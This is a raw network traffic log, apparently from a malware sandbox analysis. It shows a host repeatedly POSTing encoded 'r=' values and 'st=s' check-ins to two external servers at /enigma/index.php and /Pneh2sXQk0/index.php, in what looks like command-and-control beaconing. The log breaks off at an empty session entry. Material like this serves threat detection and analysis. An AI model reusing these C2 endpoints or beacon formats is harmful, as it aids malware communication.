Apr 19, 2024 03:37:04.279618025 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:37:04.528647900 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1549	192.168.2.5	51405	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:37:04.742151976 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:37:04.989938021 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1550	192.168.2.5	51406	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:37:04.863385916 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:37:05.106466055 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1551	192.168.2.5	51407	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:37:05.322247982 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:37:05.569333076 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1552	192.168.2.5	51408	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:37:05.357223034 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:37:05.608403921 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1553	192.168.2.5	51409	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:37:05.819531918 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:37:06.067626953 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1554	192.168.2.5	51410	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:37:05.947423935 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:37:06.194155931 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1555	192.168.2.5	51411	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:37:06.399560928 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:37:06.647248030 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1556	192.168.2.5	51412	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:37:06.451627016 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:37:06.706655979 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1557	192.168.2.5	51414	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:37:06.993541956 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:37:07.241133928 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1558	192.168.2.5	51415	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:37:07.042510986 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:37:07.291069984 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1559	192.168.2.5	51416	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:37:07.499102116 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:37:07.752321959 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1560	192.168.2.5	51417	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:37:07.551675081 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:37:07.808195114 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1561	192.168.2.5	51418	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:37:08.070677996 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:37:08.314866066 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1562	192.168.2.5	51419	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:37:08.141558886 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:37:08.387972116 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1563	192.168.2.5	51420	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:37:08.567603111 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:37:08.821990013 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1564	192.168.2.5	51421	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:37:08.642147064 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:37:08.895287037 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1565	192.168.2.5	51422	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:37:09.141503096 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:37:09.390805960 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1566	192.168.2.5	51423	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:37:09.227164984 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:37:09.473256111 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1567	192.168.2.5	51424	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:37:09.642395020 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:37:09.893414974 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1568	192.168.2.5	51425	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:37:09.721116066 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:37:09.969913006 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1569	192.168.2.5	51426	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:37:10.211538076 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:37:10.458998919 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1570	192.168.2.5	51427	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:37:10.304650068 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:37:10.553359985 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1571	192.168.2.5	51428	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:37:10.702375889 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:37:10.944757938 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1572	192.168.2.5	51429	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
